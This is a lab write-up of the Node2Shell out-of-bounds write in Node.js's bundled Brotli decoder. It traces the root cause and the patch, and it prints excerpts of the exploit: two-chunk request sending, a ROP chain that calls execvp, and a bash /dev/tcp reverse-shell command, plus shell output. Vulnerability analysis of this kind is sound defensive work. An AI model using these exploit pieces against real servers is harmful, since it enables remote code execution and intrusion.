Node2Shell Analysis (CVE-2026-111497)
1. Overview
Node2Shell (CVE-2026-111497) is an out-of-bounds (OOB) write vulnerability in the Brotli decompression code bundled with Node.js. When it processes crafted compressed data, it can write beyond an eight-byte internal buffer into adjacent memory. Its impact can extend beyond a service crash to memory disclosure or remote code execution (RCE), making it particularly serious. The vulnerability is also known as "Node2Shell."
For this lab, we used an Express server that accepts Brotli-compressed JSON requests. The registered express.json() middleware decompresses the request body before our route handler runs. In other words, the Node.js Brotli decoder processes bytes supplied by the client before the application examines the JSON content.
As the decoder reads compressed data, it sometimes needs to switch to the next block. In this vulnerability, it treats a situation in which no block is available for the switch as a need for more input instead of terminating with a format error. As a result, it keeps storing the remaining bytes in a small internal buffer, leading to memory corruption. In this article, we will examine how the vulnerability leads to RCE on vulnerable Node.js 24.22.0 with the default four-worker configuration.
2. From the Request Body to the Brotli Decoder
First, let's look at how the HTTP request reaches the vulnerable code. The Node.js HTTP server does not automatically decompress a body just because it has a Content-Encoding: br header.
The application must use a decompression feature for the Brotli decoder to process the request. We therefore registered JSON body middleware in the test environment.
app.use(express.json());
The PoC request includes both Content-Type: application/json and Content-Encoding: br. On receiving it, express.json() calls the Brotli decoder in node:zlib before interpreting the body as JSON. Even if the route checks the request values, the compressed stream has already passed through the decoder by then, so the vulnerability can be triggered.
3. Root Cause
Brotli uses distance codes to specify where to copy data from previously decompressed output. The decoder counts the codes remaining in the current distance-code block and reads the next block type when that count reaches zero.
The first chunk of the PoC is constructed to reach this switch point even though it declares only one distance-code block type.
With only one type, there is no new block to select. Receiving more input cannot change that condition, so the decoder should stop with a format error. The vulnerable version, however, cannot distinguish this failed switch from a lack of input.
To see why this distinction leads to memory corruption, let's examine the relevant code.
3.1. Return Value of the Block-Switch Function
In DecodeBlockTypeAndLength(), which checks the block type, max_block_type represents the number of declared block types.
In vulnerable Brotli 1.2.0, the function returns the following value when that number is one or less.
if (max_block_type <= 1) {
return BROTLI_FALSE;
}
BROTLI_FALSE is also returned when there are not enough bits available. From this value alone, the caller cannot tell whether the compressed stream is malformed or whether it should wait for more bytes. The error missed here also affects the path that processes compression commands.
3.2. Why the Block-Switch Failure Does Not Reach the Caller
The decoder first uses ProcessCommands(s) to process compression commands. This path gains speed by not checking the input length at every step. Only when it returns that more input is needed does the decoder retry through SafeProcessCommands(s), which checks the remaining bits at each read.
result = ProcessCommands(s);
if (result == BROTLI_DECODER_NEEDS_MORE_INPUT) {
result = SafeProcessCommands(s);
}
In the fast path, however, DecodeDistanceBlockSwitch() discards the return value of its internal function when switching distance blocks.
static void BROTLI_NOINLINE DecodeDistanceBlockSwitch(BrotliDecoderState* s) {
DecodeDistanceBlockSwitchInternal(0, s);
}
Even if the switch fails, the fast path does not check the result and proceeds to read the next distance code. In doing so, it decrements the distance-block length counter block_length[2] once more, although the counter is already zero.
--s->block_length[2];
Decrementing the counter from zero produces a very large value. The decoder continues as though the block still had codes remaining. In the input-checking path, the earlier BROTLI_FALSE is interpreted as "more input needed," so the switch error never reaches the caller.
3.3. Writing Beyond the Eight-Byte Buffer
When the decoder returns in the "more input needed" state, it stores unprocessed bytes in s->buffer.u8. This buffer is eight bytes long, but the loop that copies the remaining input has no length check.
while (*available_in) {
s->buffer.u8[s->buffer_length] = **next_in;
s->buffer_length++;
(*next_in)++;
(*available_in)--;
}
If the decoder genuinely lacked bits, it could receive another byte and continue. Here, however, additional bytes cannot make the block switch possible. As the decoder keeps copying the remaining bytes, buffer_length reaches eight; subsequent bytes are written into the state fields immediately after the buffer.
4. How the Vulnerability Leads to RCE
The bytes written past the eight-byte buffer enter other fields in the decoder state. When decompression continues, the decoder reads the corrupted fields again. The PoC arranges for a later copy operation to reach a function's return address. Let's follow the connection between the initial out-of-bounds write and the write that reaches that address.
4.1. From Stored Data to Overwriting a Stack Return Address
Brotli keeps previously decompressed data in a ring buffer. A ring buffer is a circular memory area that starts writing at the beginning again when it reaches the end. For example, after outputting ABC, the decoder can output it again by copying from three bytes back rather than including ABC in the compressed input a second time. A distance code specifies how far back to copy from.
The PoC first places code addresses for later execution in the ring buffer. It then triggers a copy with the decoder state corrupted, arranging for a separate out-of-bounds 16-byte write to reach the function return address on the stack. That address tells the function where to resume execution when it finishes. If it is overwritten, execution moves to the code address chosen by the PoC instead of returning to the original caller.
4.2. A Request Split into Two Chunks and ROP
To create this sequence, the PoC sends one HTTP request body in two chunks. The following excerpt shows only the sending logic.
first = build_request1(prefix)
second = build_request2()
s.sendall(hdr + _chunk(first))
time.sleep(0.5)
s.sendall(_chunk(second) + b"0\r\n\r\n")
prefix contains the ROP values placed in the ring buffer, while hdr contains the HTTP request headers. The first chunk, approximately 23 MB long, exhausts the distance-block length and causes the invalid switch. The following 256-byte chunk induces a copy using the same decoder state. Although transmission is split into two parts, it remains a single HTTP request.
After changing the return address, the PoC executes short instruction sequences from the Node executable in order; this technique is called ROP (Return-Oriented Programming). Using these sequences, it writes /bin/bash, -c, and the command string into writable memory and builds the argument array. The following excerpt presents the short reverse-shell command verified in this lab and the memory setup in a readable form. w(addr, value) adds instructions to the ROP chain that write an eight-byte value to the specified address.
cmd = b"bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 \0"
def w(addr, value):
return [g["pop_rax"], addr, g["pop_rdx"], value, g["write"]]
for i, value in enumerate(_qwords(b"/bin/bash")):
ch += w(bss["bash"] + 8*i, value)
ch += w(bss["cc"], int.from_bytes(b"-c\0\0\0\0\0\0", "little"))
for i, value in enumerate(_qwords(cmd)):
ch += w(bss["cmd"] + 8*i, value)
for i, value in enumerate((bss["bash"], bss["cc"], bss["cmd"], 0)):
ch += w(bss["argv"] + 8*i, value)
The resulting argv contains pointers to /bin/bash, -c, and cmd, followed by NULL to mark the end of the array. Finally, the following code passes the addresses of /bin/bash and argv to execvp.
ch += [g["pop_rdi"], bss["bash"],
g["pop_rsi"], bss["argv"],
g["execvp"]]
g contains code addresses found in the Node executable. bss contains addresses in writable memory where the /bin/bash string and argument array are stored. After pop_rdi and pop_rsi set the two arguments to execvp, the chain calls the function. In the lab, this path connected a shell in the target container to the attacker container.
The code addresses used by the PoC are tailored to the official Node.js 24.22.0 Linux x86-64 binary. With ASLR enabled, however, heap and thread-stack locations change between runs. Attempts with an unsuitable memory layout end in a Node process crash, so the requests were repeated. In this lab, a reverse shell connected on the 12th attempt. The following output shows the results of running id and hostname in that shell.
[+] SHELL from 127.0.0.1:42768 (attempt 12/60)
node@7d57b66c6564:/app$ id; hostname; exit
uid=1000(node) gid=1000(node) groups=1000(node)
7d57b66c6564
The output shows uid=1000(node), and the hostname matched the lab container value checked separately. This confirms that an error during request processing led to actual command execution.
5. Before and After the Patch
Finally, let's examine how the patch interrupts this process. We first inspected the Brotli decompression function in GDB and then sent the two-chunk RCE input described above to the Node service. The diagnostic file used to inspect the buffer write in GDB and the RCE request are different inputs, so their results are explained separately.
5.1. Brotli Buffer Boundary Observed in GDB
We set a breakpoint in vulnerable Brotli immediately before s->buffer.u8[s->buffer_length] was executed. At that point, buffer_length was eight, buffer.u8 was also eight bytes long, and the buffer_length field was exactly eight bytes after the start of the buffer. The next write crossed the buffer boundary. When the function returned, buffer_length had increased to 24.
Brotli 1.2.0 / GDB
GDB_BEFORE_OUT_OF_BOUNDS_WRITE
buffer_length=8 buffer_size=8 gap_to_buffer_length=8
GDB_AFTER_DECODE_CALL
result=2 buffer_length=24 error_code=2
When we fed the same file to patched Brotli 1.2.1, it stopped with format error -17 while buffer_length was zero.
For this file, the error occurred during a command-block switch (tree_type=1).
Brotli 1.2.1 / GDB
tree_type=1 block_types=1 block_length=0
result=0 buffer_length=0 error_code=-17
5.2. Node Service
We ran the same Express application in the official Node 24.22.0 and 24.22.1 images.
On vulnerable 24.22.0, the reverse shell connected on the 12th attempt. The command output from the log is reproduced below.
Node 24.22.0 — vulnerable
[+] SHELL from 127.0.0.1:42768 (attempt 12/60)
node@7d57b66c6564:/app$ id; hostname; exit
uid=1000(node) gid=1000(node) groups=1000(node)
7d57b66c6564
We sent the same two-chunk input once to Node 24.22.1. The server returned HTTP 400 with ERR__ERROR_FORMAT_BLOCK_SWITCH. A subsequent /health request received HTTP 200 PONG, and there was no segmentation fault in the server log. The key response lines are shown below.
HTTP/1.1 400 Bad Request
ERR ERR__ERROR_FORMAT_BLOCK_SWITCH
GET /health → HTTP/1.1 200 OK
PONG
The patched version reported the block-switch error and continued to handle the next request normally. The code change responsible for this difference no longer returns BROTLI_FALSE when only one block type exists. Instead, it identifies the condition as a format error and returns -17.
if (max_block_type <= 1) {
return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
}
The receiving side also changed. The call that switches distance blocks now checks the function's return value.
if (BROTLI_PREDICT_FALSE(s->block_length[2] == 0)) {
BROTLI_SAFE_WITH_STATUS(DecodeDistanceBlockSwitch(s));
}
BROTLI_SAFE_WITH_STATUS passes any non-success result to the caller and stops processing. The decoder therefore does not proceed to read a distance code after the invalid switch or continue writing remaining input into the eight-byte buffer. In GDB, the first chunk of the actual RCE input likewise stopped with -17 in the patched version at the point where the distance block (tree_type=2) had only one type; buffer_length was zero.
Brotli 1.2.0 result=NEEDS_MORE_INPUT buffer_length=1
Brotli 1.2.1 tree_type=2 block_types=1 error_code=-17 buffer_length=0
References
- Node.js Project, October 2026 Security Releases — [https://nodejs.org/en/blog/vulnerability/october-2026-security-releases](https://nodejs.org/en/blog/vulnerability/october-2026-security-releases]
- Node.js Project, Node.js 24.22.1 Release Notes — [https://nodejs.org/en/blog/release/v24.22.1/\](https://nodejs.org/en/blog/release/v24.22.1/)
- Google, Brotli Decoder Fix — [https://github.com/google/brotli/commit/0ed4268a4401abcb44720963\](https://github.com/google/brotli/commit/0ed4268a4401abcb44720963)
- Google, Brotli 1.2.0 Decoder Source — [https://github.com/google/brotli/blob/v1.2.0/c/dec/decode.c\](https://github.com/google/brotli/blob/v1.2.0/c/dec/decode.c)
- Express, Upgrade to Express v5 — [https://expressjs.com/en/guide/migrating-5/\](https://expressjs.com/en/guide/migrating-5/)
- libuv, Thread Pool Work Scheduling — [https://docs.libuv.org/en/v1.x/threadpool.html\](https://docs.libuv.org/en/v1.x/threadpool.html)